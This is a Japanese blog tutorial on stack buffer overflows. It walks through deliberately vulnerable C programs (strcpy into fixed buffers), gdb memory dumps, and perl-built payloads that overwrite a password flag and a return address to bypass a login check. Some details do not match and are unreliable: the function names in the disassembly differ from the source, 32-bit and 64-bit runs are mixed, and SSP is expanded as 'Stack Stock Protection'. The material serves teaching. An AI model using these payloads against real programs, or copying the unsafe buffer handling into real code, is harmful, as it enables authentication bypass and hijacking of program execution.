スタックオーバーフローを利用した戻りアドレスの書き換え
スタックオーバーフローとは?
スタックオーバーフローについての説明は過去の記事を参考にしてください。
jazzycat.hatenablog.com
今回はスタックオーバーフローを用いて戻りアドレスを書き換え、自由なアドレスにアクセスしてみます。
単純な書き換え例
戻りアドレスの書き換えとはどんなものなのか、実際に書き換えてみます。次のプログラムを見てください。
#include <stdio.h> #include <stdlib.h> #include <string.h> int check_password(char *password) { int pass_flag = 0; char password_buffer[16]; strcpy(password_buffer, password); if(strcmp(password_buffer, "neko") == 0) pass_flag = 1; if(strcmp(password_buffer, "gorogoro") == 0) pass_flag = 1; return 0; } int main(int argc, char *argv[]) { if(argc < 2) { printf("使用方法: %s <パスワード>\n", argv[0]); exit(0); } if(check_password(argv[1])) { printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); //この部分に戻りアドレスを設定する printf(" アクセスを許可します。\n"); printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); } else { printf("\nアクセスを拒否しました。\n"); } }
上のコードはcheck_password関数の返り値が0で固定されているので、変数の値をスタックオーバーフローによって書き換えても意味がありません。そこで、check_password関数の戻りアドレスを書き換えてアクセスを許可させてみます。
上のコードのコメントアウトしている部分のアドレスを調べ、check_password()関数の戻りアドレスをそのアドレスで書き換えることで、if文の条件分岐を無視してそのままアクセスを許可させることができます。まずは、コメントアウトしている部分の戻りアドレスを調べてみます。
goroneko@NEKO:~/$ gdb -q a.out (gdb) disass main Dump of assembler code for function main: 0x08048476 <main+0>: push %ebp 0x08048477 <main+1>: mov %esp,%ebp 0x08048479 <main+3>: sub $0x8,%esp 0x0804847c <main+6>: and $0xfffffff0,%esp 0x0804847f <main+9>: mov $0x0,%eax 0x08048484 <main+14>: sub %eax,%esp 0x08048486 <main+16>: cmpl $0x1,0x8(%ebp) 0x0804848a <main+20>: jg 0x80484ad <main+55> 0x0804848c <main+22>: mov 0xc(%ebp),%eax 0x0804848f <main+25>: mov (%eax),%eax 0x08048491 <main+27>: mov %eax,0x4(%esp) 0x08048495 <main+31>: movl $0x80485e5,(%esp) 0x0804849c <main+38>: call 0x804831c <printf@plt> 0x080484a1 <main+43>: movl $0x0,(%esp) 0x080484a8 <main+50>: call 0x804833c <exit@plt> 0x080484ad <main+55>: mov 0xc(%ebp),%eax 0x080484b0 <main+58>: add $0x4,%eax 0x080484b3 <main+61>: mov (%eax),%eax 0x080484b5 <main+63>: mov %eax,(%esp) 0x080484b8 <main+66>: call 0x8048414 <check_authentication> 0x080484bd <main+71>: test %eax,%eax 0x080484bf <main+73>: je 0x80484e7 <main+113> ---Type <return> to continue, or q <return> to quit--- 0x080484c1 <main+75>: movl $0x80485fb,(%esp) 0x080484c8 <main+82>: call 0x804831c <printf@plt> 0x080484cd <main+87>: movl $0x8048619,(%esp) 0x080484d4 <main+94>: call 0x804831c <printf@plt> 0x080484d9 <main+99>: movl $0x8048630,(%esp) 0x080484e0 <main+106>: call 0x804831c <printf@plt> 0x080484e5 <main+111>: jmp 0x80484f3 <main+125> 0x080484e7 <main+113>: movl $0x804864d,(%esp) 0x080484ee <main+120>: call 0x804831c <printf@plt> 0x080484f3 <main+125>: leave 0x080484f4 <main+126>: ret End of assembler dump.
disassコマンドでメイン関数のアセンブリコードを表示しました。では、どこが探している部分なのでしょうか。この程度の長さのコードならすべてを追っていくこともできますが、だいたいのあたりを付けて探したほうが効率がよさそうです。探したい場所は、if文の次の命令です。そのため、ジャンプ命令の次の命令であると考えられます。また、探したい部分はprintf関数を呼び出しているので、call命令が近くにあると考えられます。よって、探したい部分は、ジャンプ命令の近くにcall命令がある部分であると考えられます。main + 75の部分を見てください。その条件が満たされています。また、近くに何回もcall命令があるので、何回も関数を呼び出していると考えられ、探したい部分は何回もprintf関数を呼び出しているので、この部分で間違いなさそうです。
以上のことから、上書きする戻りアドレスは0x080484c1とわかります。
では、この戻りアドレスをどこに書き込めばよいのでしょうか。適当なものをコマンドライン引数に与えてプログラムを実行し、スタック上のどこに戻りアドレスが書き込まれているか調べてみます。desassコマンドで表示したアセンブリコードから、戻りアドレスは0x080484bdであることがわかります(check_password関数を呼び出すcall命令がmain + 66の部分のため)。コマンドライン引数にA(ASCIIコードでは0x41)を4つ与えたときのcheck_password関数のスタックフレームの様子を見てみます。
(gdb) r AAAA Starting program: /a.out AAAA Breakpoint 1, check_authentication (password=0xbffff9e6 "AAAA") at auth_overflow.c:16 16 return 0; (gdb) x/32xw $esp 0xbffff7c0: 0xbffff7d0 0x080485dc 0xbffff7d8 0x080482d9 0xbffff7d0: 0x41414141 0xb7fd6f00 0xbffff808 0x08048529 0xbffff7e0: 0xb7fd6ff4 0xbffff8a0 0xbffff808 0x00000000 0xbffff7f0: 0xb7ff47b0 0x08048510 0xbffff808 0x080484bd 0xbffff800: 0xbffff9e6 0x08048510 0xbffff868 0xb7eafebc 0xbffff810: 0x00000002 0xbffff894 0xbffff8a0 0xb8001898 0xbffff820: 0x00000000 0x00000001 0x00000001 0x00000000 0xbffff830: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff868
戻りアドレスの0x080484bdがメモリのアドレス0xbffff7fcに書き込まれています。また、コマンドライン引数で指定したAAAAはメモリのアドレス0xbffff7d0に書き込まれています。この差は44なので、password_bufferの先頭から44バイト先に戻りアドレスが書き込まれていることがわかります。アドレスは4バイトなので、12回指定したいアドレスを書き込めばそのアドレスがcheck_password関数の戻りアドレスを上書きし、そのアドレスにある命令を実行させることができます。図にすると以下のようになります。
実行した結果は以下のとおりです。
(gdb) r $(perl -e 'print "\xc1\x84\x04\x08" x 12;') -=-=-=-=-=-=-=-=-=-=-=-=-=- アクセスを許可します。 -=-=-=-=-=-=-=-=-=-=-=-=-=- Segmentation fault (コアダンプ)
このように戻りアドレスを書き換えることで、通常分岐しないはずの部分に分岐して実行できるようになります。
スタックオーバーフローについて
スタックオーバーフローとは?
本来データが書き込まれる領域を超えてデータが書き込まれるバッファオーバーフローの一種です。スタックで起こるバッファオーバーフローをスタックオーバーフローといいます。スタックオーバーフローが起こると、そのプログラムの作成者が意図しない動作が起きる可能性があります。今回紹介する例は、スタックオーバーフローを利用して本来書き換えられないはずの変数の値を書き換えます。
サンプルソースコード
では実際にスタックオーバーフローを起こしてみます。下のソースコードを見てください。
#include<stdio.h> int main(){ char input[5]; char hello[5] = "HELLO"; scanf("%s",input); printf("input = %s address is %p, hello = %s address is %p\n ",input,input,hello,hello); }
このCプログラムは、配列inputに標準入力(キーボードからの入力)を入れて、元から中身が入っていて変更できない配列helloと一緒に中身とアドレスを出力します。スタックオーバーフローを知らない人が見ればこのプログラムの配列helloの中身は変更できないように思えますが、実際には変更することができます。まずは、スタックオーバーフローを起こさずに普通に実行してみます。
goroneko@NEKO:~$ ./a.out neko input = neko address is 0x7ffff4e7721e, hello = HELLO address is 0x7ffff4e77223
上の実行結果をまずは分析していきます。配列inputの先頭アドレスは0x7ffff4e7721eです(長いので下三桁だけこれからは書きます)。配列helloの先頭アドレスは223です。このアドレス差は5です。inputは要素数5で宣言しているので当然ですね。では、次はスタックオーバーフローを起こした結果を見てみましょう。
goroneko@NEKO:~$ ./a.out nekoneko input = nekoneko address is 0x7fffc5c1d0ee, hello = eko address is 0x7fffc5c1d0f3
先ほどのアドレスと違うアドレスが表示されているのは、プログラムが実行されるたびにプログラムはランダムなメモリ領域に配置されるためです。今回は配列inputが持つ要素数5よりも多い8文字を格納してみました。するとどうでしょうか、配列helloの中身がekoになっていますね。これがなぜなのか、わかりやすいように図にしてみました。
標準入力を受け付けた後、配列周りのメモリはこのようになっています。printf関数で使っている%sはNULLを読み込むまで引数で指定されたアドレスから順番に読んでいくので、配列inputの出力はnekonekoになり、配列helloの出力はekoになります。
ちなみに、配列inputにちょうど5文字入れると、NULL文字が配列helloの一文字目になります。そのため、
goroneko@NEKO:~$ ./a.out nekoo input = nekoo address is 0x7fffdfe8fb0e, hello = address is 0x7fffdfe8fb13
出力はこのようになります。実際はhelloの中にELLOだけ残っているのですが(HはNULL文字で上書きされた)、%sは渡されたアドレスからNULL文字までを読むので、配列helloの出力は何も見えません(いきなりNULLが読まれたため)。
もう少し現実的な例
ここまでの例はあくまでスタックオーバーフローのわかりやすい例のためのものだったので、「だからなんやねん」となっている人もいると思います。もう少し現実的な例で、スタックオーバーフローの威力を見ていきたいと思います。
下のソースコードを見てください。
#include <stdio.h> #include <stdlib.h> #include <string.h> int check_password(char *password) { int pass_flag = 0; char password_buffer[16]; strcpy(password_buffer, password); if(strcmp(password_buffer, "neko") == 0) pass_flag = 1; if(strcmp(password_buffer, "gorogoro") == 0) pass_flag = 1; return pass_flag; } int main(int argc, char *argv[]) { if(argc < 2) { printf("使用方法: %s <パスワード>\n", argv[0]); exit(0); } if(check_password(argv[1])) { printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); printf(" アクセスを許可します。\n"); printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); } else { printf("\nアクセスを拒否しました。\n"); } }
正しいパスワードをコマンドライン引数で入力したときだけアクセスを許可するプログラムです。まずは、スタックオーバーフローを起こさずに実行してみます。
goroneko@NEKO:~$ ./a.out inu アクセスを拒否しました。 goroneko@NEKO:~$ ./a.out neko -=-=-=-=-=-=-=-=-=-=-=-=-=- アクセスを許可します。 -=-=-=-=-=-=-=-=-=-=-=-=-=- goroneko@NEKO:~/$ ./a.out gorogoro -=-=-=-=-=-=-=-=-=-=-=-=-=- アクセスを許可します。 -=-=-=-=-=-=-=-=-=-=-=-=-=-
このように、決められたパスワード(nekoとgorogoro)をコマンドライン引数にしたときだけアクセスが許可されます。では、スタックオーバーフローを起こすとどうなるのでしょうか。ソースコードを見てください。アクセスを許可するか否かは、pass_flagの値によって決まっています。pass_flagの値が0以外の時(if文は引数が0の時に偽、それ以外は真を返す)、アクセスが許可され、その他の時は許可されません。今回の例では、このpass_flagの値を0以外に書き換えることで、パスワードを知らなくてもアクセス許可が得られることを示していきます。
最初の例のように考えると、配列password_bufferは要素数16なので、17文字目に0以外を入れれば書き換えられるように思うと思います。しかしここで注意してほしいのが、char型とint型のバイト数の違いです。char型は1バイト、int型は4バイトをメモリ上に確保します。このことを考慮して、どのようにすればpass_flagに0以外を入れられるでしょうか?
最初の例と同じようにやってみる
最初の例では、要素数5の配列inputの中に8文字のnekonekoを入れることで、要素数5の配列helloの中身をekoに書き換えました(実際はe,k,o,NULL,Oになっているが、%sの性質上ekoと出力された)。これと同様に考えるなら、要素数16の配列password_bufferに、17文字以上の文字を入れれば書き換えられそうです。ただし、先ほども言った通り型によって確保されるバイト数が異なるので、17文字目から20文字目がpass_flagの領域であると考えられます(charは1バイト、intは4バイトのため)。pass_flagの中身は0以外になればよいので、今回はAに書き換えてみます。
goroneko@NEKO:~/$ ./a.out $(perl -e 'print "A" x 20;') アクセスを拒否しました。
$(perl -e 'print "A" x 20;')は、Aを20回出力します。Aを20回出力して、pass_flagの値を0以外に書き換えたはずですが、アクセスが拒否されました。いったいなぜこのような結果になったのでしょうか。GDBデバッガを用いて原因を調べてみます。
(gdb) b 16 Breakpoint 1 at 0x80007cc: file overflow.c, line 16. (gdb) r $(perl -e 'print "A" x 20;') Starting program: /a.out $(perl -e 'print "A" x 20;') Breakpoint 1, check_password (password=0x7ffffffee263 'A' <repeats 20 times>) at overflow.c:16 16 return pass_flag; (gdb) x/32x $rsp 0x7ffffffeded0: 0xfffedf38 0x00007fff 0xfffee263 0x00007fff 0x7ffffffedee0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7ffffffedef0: 0x41414141 0x00007f00 0x00000000 0x00000000 0x7ffffffedf00: 0xfffedf20 0x00007fff 0x0800081e 0x00000000 0x7ffffffedf10: 0xfffee008 0x00007fff 0x00000000 0x00000002 0x7ffffffedf20: 0x08000860 0x00000000 0xff021b97 0x00007fff 0x7ffffffedf30: 0x00000002 0x00000000 0xfffee008 0x00007fff 0x7ffffffedf40: 0x00008000 0x00000002 0x080007d1 0x00000000 (gdb) x/x &pass_flag 0x7ffffffedefc: 0x00000000 (gdb) x/x password_buffer 0x7ffffffedee0: 0x41414141 (gdb) p 0x7ffffffedefc - 0x7ffffffedee0 $1 = 28
check_password関数のリターン直前にブレークポイントを設定し、メモリの中身を表示しました。GDBデバッガによれば、pass_flagのアドレスは0x7ffffffedefc、password_bufferのアドレスは0x7ffffffedee0です。このアドレス差は28なので、Aを20文字入力してもpass_flagの値は0のまま変わりません。スタックポインタrspの周りのメモリの中身を見てみると、0x7ffffffedee0から0x7ffffffedef3までAが格納されていることがわかります。(アドレス表記についてよくわからないという人は、記事の最後に補足しているのでそちらをご覧ください。)
メモリの中身を見てみると、password_bufferの領域からpass_flagまでは余分なデータが12バイト格納されていることがわかります。これは単なるパディング(詰め物)で、コンパイラによって挿入されるものです。
では次に、アドレス差を考慮して29文字Aを入力してみます。
(gdb) r $(perl -e 'print "A" x 29;') Starting program: /a.out $(perl -e 'print "A" x 29;') Breakpoint 1, check_password (password=0x7ffffffee263 'A' <repeats 29 times>) at overflow.c:16 16 return pass_flag; (gdb) x/x &pass_flag 0x7ffffffedefc: 0x00000041 (gdb) x/x password_buffer 0x7ffffffedee0: 0x41414141 (gdb) x/32xw $rsp 0x7ffffffeded0: 0xfffedf38 0x00007fff 0xfffee263 0x00007fff 0x7ffffffedee0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7ffffffedef0: 0x41414141 0x41414141 0x41414141 0x00000041 0x7ffffffedf00: 0xfffedf20 0x00007fff 0x0800081e 0x00000000 0x7ffffffedf10: 0xfffee008 0x00007fff 0x00000000 0x00000002 0x7ffffffedf20: 0x08000860 0x00000000 0xff021b97 0x00007fff 0x7ffffffedf30: 0x00000002 0x00000000 0xfffee008 0x00007fff 0x7ffffffedf40: 0x00008000 0x00000002 0x080007d1 0x00000000 (gdb) c Continuing. -=-=-=-=-=-=-=-=-=-=-=-=-=- アクセスを許可します。 -=-=-=-=-=-=-=-=-=-=-=-=-=-
これで無事pass_flagの値を書き換えることができました。
おわりに
いかがでしたでしょうか。今回紹介したスタックオーバーフローは、現在はコンパイラによって回避されます。今回は-fno-stack-protectorオプションを用いてgccコンパイラでコンパイルして、OSのSSP(Stack Stock Protection)機能をオフにしました。実際に試す場合は、これらのオプションを指定して仮想環境で試してください。
補足:アドレスについて
メモリアドレッシングには、ワードアドレッシングとバイトアドレッシングがあります。バイトアドレッシングは1バイトごとにメモリアドレスが1増加しますが、ワードアドレッシングは4バイトごとにアドレスが1増加します。今回実行したコンピュータのメモリは8ビットごとにアドレスが割り振られているので、バイトアドレッシングが用いられています。詳しくはまた別の記事で書こうかと思います。